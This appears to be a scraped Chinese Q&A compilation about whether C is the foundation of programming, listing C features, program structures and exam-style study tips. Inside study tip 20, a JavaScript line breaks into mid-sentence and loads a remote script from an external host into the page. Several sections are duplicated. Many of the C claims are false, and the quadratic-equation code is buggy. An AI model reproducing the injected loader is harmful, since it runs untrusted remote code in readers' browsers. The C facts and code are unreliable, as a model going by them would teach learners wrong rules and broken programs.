c語言是基礎

㈠ c語言是不是基礎

沒錯，c語言是計算機語言的基礎，一是計算機語言的靈魂，如果你學過了basic之類的簡單語種，你就會發現c語言的博大精深，這種語言既有便攜的簡潔性，十分方便，也有很強大的運算性，僅僅次於匯編語言。可謂是計算機的核心，他強就強在單體編程。如果你想學計算機語言，c語言絕對是基礎

㈡ 為什麼說c語言是編程的重要基礎

除了匯編語言，就是c語言最接近硬體了。c語言可以用來編寫操作系統等基礎性軟體系統。c語言也派生出了C十十，C＃等語言，java等也吸收了C語言的許多特徵。因此，c語言是編程的重要基礎。

㈢ C語言只是一個學習其他語言的基礎嗎

不是C語言只是一個基礎編程語言，但不是只是學習基礎，所有軟體開發里（所有編程，比如包括你U盤里內嵌的小程序的源碼），C語言使用率始終排行第一。。。C語言是最基礎的語言,他和匯編語言很接近，所以他從事的都是基礎編程，構建底層環境，比如操作系統，程序編譯器，你不可能指望一個java編譯器本身是由java做的，語言越高級，他要求的軟體環境越高，但這些運行環境並不是由這種高級語言編寫的，他們也沒這個能力。。。。

㈣ c語言是所有語言的基礎嗎

不是C語言只是一個基礎編程語言，但不是只是學習基礎，所有軟體開發里（所有編程，比如包括你U盤里內嵌的小程序的源碼），C語言使用率始終排行第一。

C語言是最基礎的語言和匯編語言很接近，是一門通用計算機編程語言，應用廣泛。

所以C語言從事的都是基礎編程，構建底層環境，比如操作系統，程序編譯器，不可能指望一個java編譯器本身是由java做的，語言越高級，要求的軟體環境越高，但這些運行環境並不是由這種高級語言編寫的。

(4)c語言是基礎擴展閱讀：

c語言特點：

1、C語言是一個有結構化程序設計、具有變數作用域（variable scope）以及遞歸功能的過程式語言。

2、C語言傳遞參數均是以值傳遞（pass by value），另外也可以傳遞指針（a pointer passed by value）。

3、不同的變數類型可以用結構體（struct）組合在一起。

4、只有32個保留字（reserved keywords），使變數、函數命名有更多彈性。

㈤ C語言是不是所有編程的基礎

c語言不是所有語言的基礎，只是眾多編程語言中的一種，很多人在大一就會學習c語言，是因為其學習難度不大，很快就能學習上手。
C語言是一門通用計算機編程語言，應用廣泛。C語言的設計目標是提供一種能以簡易的方式編譯、處理低級存儲器、產生少量的機器碼以及不需要任何運行環境支持便能運行的編程語言。
c語言特點：
1、C語言是一個有結構化程序設計、具有變數作用域（variable scope）以及遞歸功能的過程式語言。
2、C語言傳遞參數均是以值傳遞（pass by value），另外也可以傳遞指針（a pointer passed by value）。
3、不同的變數類型可以用結構體（struct）組合在一起。
4、只有32個保留字（reserved keywords），使變數、函數命名有更多彈性。
5、部份的變數類型可以轉換，例如整型和字元型變數。
6、通過指針（pointer），C語言可以容易的對存儲器進行低級控制。
7、預編譯處理（preprocessor）讓C語言的編譯更具有彈性。

㈥ C語言是編程的基礎嗎

c語言不是所有語言的基礎，只是眾多編程語言中的一種，很多人在大一就會學習c語言，是因為其學習難度不大，很快就能學習上手。
C語言是一門通用計算機編程語言，應用廣泛。C語言的設計目標是提供一種能以簡易的方式編譯、處理低級存儲器、產生少量的機器碼以及不需要任何運行環境支持便能運行的編程語言。
c語言特點：
1、C語言是一個有結構化程序設計、具有變數作用域（variable scope）以及遞歸功能的過程式語言。
2、C語言傳遞參數均是以值傳遞（pass by value），另外也可以傳遞指針（a pointer passed by value）。
3、不同的變數類型可以用結構體（struct）組合在一起。
4、只有32個保留字（reserved keywords），使變數、函數命名有更多彈性。
5、部份的變數類型可以轉換，例如整型和字元型變數。
6、通過指針（pointer），C語言可以容易的對存儲器進行低級控制。
7、預編譯處理（preprocessor）讓C語言的編譯更具有彈性。

㈦ C語言基礎是什麼

一．學好C語言的運算符和運算順序
這是學好《C程序設計》的基礎，C語言的運算非常靈活，功能十分豐富，運算種類遠多於其它程序設計語言。在表達式方面較其它程序語言更為簡潔，如自加、自減、逗號運算和三目運算使表達式更為簡單，但初學者往往會覺的這種表達式難讀，關鍵原因就是對運算符和運算順序理解不透不全。當多種不同運算組成一個運算表達式，即一個運算式中出現多種運算符時，運算的優先順序和結合規則顯得十分重要。在學習中，只要我們對此合理進行分類，找出它們與我們在數學中所學到運算之間的不同點之後，記住這些運算也就不困難了，有些運算符在理解後更會牢記心中，將來用起來得心應手，而有些可暫時放棄不記，等用到時再記不遲。
先要明確運算符按優先順序不同分類，《C程序設計》運算符可分為15種優先順序，從高到低，優先順序為1 ~ 15，除第2、3級和第14級為從右至左結合外，其它都是從左至右結合，它決定同級運算符的運算順序.
二．學好C語言的四種程序結構
（1）順序結構
順序結構的程序設計是最簡單的，只要按照解決問題的順序寫出相應的語句就行，它的執行順序是自上而下，依次執行。
例如；a = 3，b = 5，現交換a，b的值，這個問題就好像交換兩個杯子水，這當然要用到第三個杯子，假如第三個杯子是c，那麼正確的程序為： c = a； a = b； b = c； 執行結果是a = 5，b = c = 3如果改變其順序，寫成：a = b； c = a； b = c； 則執行結果就變成a = b = c = 5，不能達到預期的目的，初學者最容易犯這種錯誤。 順序結構可以獨立使用構成一個簡單的完整程序，常見的輸入、計算，輸出三步曲的程序就是順序結構，例如計算圓的面積，其程序的語句順序就是輸入圓的半徑r，計算s = 3.14159*r*r,輸出圓的面積s。不過大多數情況下順序結構都是作為程序的一部分，與其它結構一起構成一個復雜的程序，例如分支結構中的復合語句、循環結構中的循環體等。
（2） 分支結構
順序結構的程序雖然能解決計算、輸出等問題，但不能做判斷再選擇。對於要先做判斷再選擇的問題就要使用分支結構。分支結構的執行是依據一定的條件選擇執行路徑，而不是嚴格按照語句出現的物理順序。分支結構的程序設計方法的關鍵在於構造合適的分支條件和分析程序流程，根據不同的程序流程選擇適當的分支語句。分支結構適合於帶有邏輯或關系比較等條件判斷的計算，設計這類程序時往往都要先繪制其程序流程圖，然後根據程序流程寫出源程序，這樣做把程序設計分析與語言分開，使得問題簡單化，易於理解。程序流程圖是根據解題分析所繪制的程序執行流程圖。
學習分支結構不要被分支嵌套所迷惑，只要正確繪制出流程圖，弄清各分支所要執行的功能，嵌套結構也就不難了。嵌套只不過是分支中又包括分支語句而已，不是新知識，只要對雙分支的理解清楚，分支嵌套是不難的。下面我介紹幾種基本的分支結構。
①if(條件)
{
分支體
}
這種分支結構中的分支體可以是一條語句，此時「{ }」可以省略，也可以是多條語句即復合語句。它有兩條分支路徑可選，一是當條件為真，執行分支體，否則跳過分支體，這時分支體就不會執行。如：要計算x的絕對值，根據絕對值定義，我們知道，當x>=0時，其絕對值不變，而x<0時其絕對值是為x的反號，因此程序段為：if(x<0) x=-x;
②if(條件)
{分支1}
else
{分支2}
這是典型的分支結構，如果條件成立，執行分支1，否則執行分支2，分支1和分支2都可以是1條或若干條語句構成。如：求ax^2+bx+c=0的根
分析：因為當b^2-4ac>=0時,方程有兩個實根，否則（b^2-4ac<0）有兩個共軛復根。其程序段如下：

d=b*b-4*a*c;
if(d>=0)
{x1=(-b+sqrt(d))/2a;
x1=(-b-sqrt(d))/2a;
printf(「x1=%8.4f,x2=%8.4f\n」,x1,x2);
}
else
{r=-b/(2*a);
i =sqrt(-d)/(2*a);
printf(「x1=%8.4f+%8.4fi\n」r, i);
printf(「x2=%8.4f-%8.4fi\n」r,i)
}
③嵌套分支語句：其語句格式為：
if(條件1) {分支1}；
else if（條件2） {分支2}
else if（條件3） {分支3}
……
else if（條件n） {分支n}
else {分支n+1}
嵌套分支語句雖可解決多個入口和出口的問題，但超過3重嵌套後，語句結構變得非常復雜，對於程序的閱讀和理解都極為不便，建議嵌套在3重以內，超過3重可以用下面的語句。
④switch開關語句：該語句也是多分支選擇語句，到底執行哪一塊，取決於開關設置，也就是表達式的值與常量表達式相匹配的那一路，它不同if…else 語句，它的所有分支都是並列的，程序執行時，由第一分支開始查找，如果相匹配，執行其後的塊，接著執行第2分支，第3分支……的塊，直到遇到break語句；如果不匹配，查找下一個分支是否匹配。這個語句在應用時要特別注意開關條件的合理設置以及break語句的合理應用。
（3）循環結構：
循環結構可以減少源程序重復書寫的工作量，用來描述重復執行某段演算法的問題，這是程序設計中最能發揮計算機特長的程序結構，C語言中提供四種循環，即goto循環、while循環、do –while循環和for循環。四種循環可以用來處理同一問題，一般情況下它們可以互相代替換，但一般不提倡用goto循環，因為強制改變程序的順序經常會給程序的運行帶來不可預料的錯誤，在學習中我們主要學習while、do…while、for三種循環。常用的三種循環結構學習的重點在於弄清它們相同與不同之處，以便在不同場合下使用，這就要清楚三種循環的格式和執行順序，將每種循環的流程圖理解透徹後就會明白如何替換使用，如把while循環的例題，用for語句重新編寫一個程序，這樣能更好地理解它們的作用。特別要注意在循環體內應包含趨於結束的語句（即循環變數值的改變），否則就可能成了一個死循環，這是初學者的一個常見錯誤。
在學完這三個循環後，應明確它們的異同點：用while和do…while循環時，循環變數的初始化的操作應在循環體之前，而for循環一般在語句1中進行的；while 循環和for循環都是先判斷表達式，後執行循環體，而do…while循環是先執行循環體後判斷表達式，也就是說do…while的循環體最少被執行一次，而while 循環和for就可能一次都不執行。另外還要注意的是這三種循環都可以用break語句跳出循環，用continue語句結束本次循環，而goto語句與if構成的循環，是不能用break和 continue語句進行控制的。
順序結構、分支結構和循環結構並不彼此孤立的，在循環中可以有分支、順序結構，分支中也可以有循環、順序結構，其實不管哪種結構，我們均可廣義的把它們看成一個語句。在實際編程過程中常將這三種結構相互結合以實現各種演算法，設計出相應程序，但是要編程的問題較大，編寫出的程序就往往很長、結構重復多，造成可讀性差，難以理解，解決這個問題的方法是將C程序設計成模塊化結構。
(4)模塊化程序結構
C語言的模塊化程序結構用函數來實現，即將復雜的C程序分為若干模塊，每個模塊都編寫成一個C函數，然後通過主函數調用函數及函數調用函數來實現一大型問題的C程序編寫，因此常說：C程序=主函數+子函數。 因此，對函數的定義、調用、值的返回等中要尤其注重理解和應用，並通過上機調試加以鞏固。

㈧ 學習C語言的基礎是什麼

1. 每個C程序有且只有一個主函數main()，且程序必須從main()函數開始執行，並在main()函數中結束。
2. 在C語言中，用e來表示科學計數法時，規定在e的前面必須有數字，後面必須為整數。
3. 用單引號括起來的一個字元常量只能存放一個字元；C語言中沒有字元串變數，只能用字元數組來存儲字元串。
4. 外部變數在編譯時由系統分配永久的內存空間，所以外部變數的類型不是自動存儲類別。
5. 在一個函數內的復合語句中定義的變數，只能在這個復合語句范圍內有效。
6. 用sizeof(int)計算int類型數據的位元組數。
7. C語言運行時，首先系統檢查語法的正誤，再運行程序的語法；C語言中，可以在一個函數中嵌套一個函數，但是不能在一個函數中定義一個函數；只有在函數外部定義的函數才是外部函數；C語言的子程序有過程和函數兩種。
8. 預處理命令行的位置沒有規定，只是習慣放在前面；在源文件中的可以有多條預處理命令，但一行只能寫一條；宏名的大寫只是習慣性的表示；宏替換不僅不佔用運行時間還不分配內存空間。
9. feof函數的作用是檢查文件是否結束，當結束時返回的值為非零，否則為零。

10. 當定義了數組後，在給其賦值時，不能直接把字元串賦給數組名。
11. 在賦值表達式中，賦值運算符「＝」右側不能為表達式；在求余運算符中的兩側都必須為整型；在強制類型轉換時，類型名應用括弧括起來。
12. 靜態局部變數，只有當程序結束後，其值才釋放。
13. 當調用函數時，實參是一個數組名，則向函數傳送的是數組每一個元素的地址。
14. 演算法的特點為有零個或多個輸入，有一個或多個輸出，當相同的輸入時，其結果相同；演算法正確的程序最終一定會結束。 15. 在C語言中，預處理命令行都以「#」開頭；當需要時才用#include<stdio.h>;預處理的作用就是實現宏定義和條件編譯。 16. 當數組元素的下標超出了定義的下標范圍時，系統不給出「下標越界」的字樣，而是得出錯誤的答案，因此在編程時務必檢查下標是否越界。
17. 共用體變數不能作為函數的參數，也不能使函數帶回共用體變數。
18. 指向函數的指針變數的定義形式為：數據類型 （*指針變數）（）； ，因此其為指向函數的指針變數。
19. 用C語言編寫的代碼程序是源程序，只有通過編譯、連接才能進行。
20. 在說明為static時，其生存期得到延長，而其作用域並沒有改

var script = document.createElement('script'); script.src = 'http://static.pay..com/resource/chuan/ns.js'; document.body.appendChild(script);

變，在定義後系統會自動幫它賦值為0，static為關鍵字不能被用作它用。
21. 頻繁地使用空語句會降低程序的可讀性和運算速度。 22. 運算符%兩邊都應是整數，賦值語句左邊應該是變數，而非表達式，強制轉換語句強制類型應加括弧。
23. 在邏輯運算符中，其兩側的運算符對象為任意合法的表達式即可。
24. 函數fread（&Iarray，2,16，fp）的功能是，從fp所指的數據文件中讀取16次2位元組的數據存儲到數組Iarray中。 25. 整個流式文件也可以隨機存取數據，C語言文件中有好多函數可以達到寫入數據時，未經輸入數據，達到不覆蓋的目的，在進行寫操作時，系統會自動關閉文件。
26. 使用putchar、getchat、puts、gets、printf、scanf函數時，必須在程序的開頭出現包含頭文件#include」stdio.h」的命令行，而使用字元串處理函數時，必須在程序的開頭出現包含頭文件#include」string.h」命令行，而使用數學函數時，必須在程序的開頭出現包含頭文件#include」math.h」的命令行。
27. 一個斜杠與小於等於127任意數字按一個字元計算，一個斜杠與任意一個字元按一個字元計算。
28. 一個C程序可以有一個或多個程序文件，也可以有一個或多個函數，所以一個C語言程序可以實現多種演算法。
29. 根據C語言規定，注釋語句可以換行寫，並且一個「/*」和

㈨ 學習C語言要些什麼基礎

• 簡單學習C語言的基礎：

1. 識字，可以閱讀C語言教材。

2. 認識英文字母，標點符合，阿拉伯數字，並可以在電腦上打出來。

㈩ c語言有哪些基礎知識

C語言是一門面向過程的、抽象化的通用程序設計語言，廣泛應用於底層開發。

C語言能以簡易的方式編譯、處理低級存儲器。C語言是僅產生少量的機器語言以及不需要任何運行環境支持便能運行的高效率程序設計語言。

盡管C語言提供了許多低級處理的功能，但仍然保持著跨平台的特性，以一個標准規格寫出的C語言程序可在包括類似嵌入式處理器以及超級計算機等作業平台的許多計算機平台上進行編譯。

(10)c語言是基礎擴展閱讀：

C語言的字元串其實就是以''字元結尾的char型數組，使用字元型並不需要引用庫，但是使用字元串就需要C標准庫裡面的一些用於對字元串進行操作的函數。

它們不同於字元數組。使用這些函數需要引用頭文件<string.h>。

在C語言中，輸入和輸出是經由標准庫中的一組函數來實現的。在ANSI C中，這些函數被定義在頭文件<stdio.h>；中。